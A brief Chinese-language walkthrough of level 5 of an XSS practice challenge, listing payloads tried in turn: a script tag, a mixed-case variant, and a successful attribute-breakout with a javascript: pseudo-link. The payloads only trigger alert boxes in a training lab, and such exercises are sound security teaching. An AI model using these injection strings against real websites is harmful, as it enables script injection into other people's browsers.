XSS闯关——第五关：level5

第五关：level5

---

输入语句测试

"> <script>alert('yes')</script>

观察源代码发现字符被替换

把部分字符换成大写尝试

"> <sCRipt>alert('yes')</scRipt>

 

一样的结果

 

采用html事件方法：

失败

 

同样是字符被替换

 

使用伪链接方式假造一个超链接尝试：

"> <a href="javascript:alert('test')">link</a>

 

点击后执行脚本，成功通关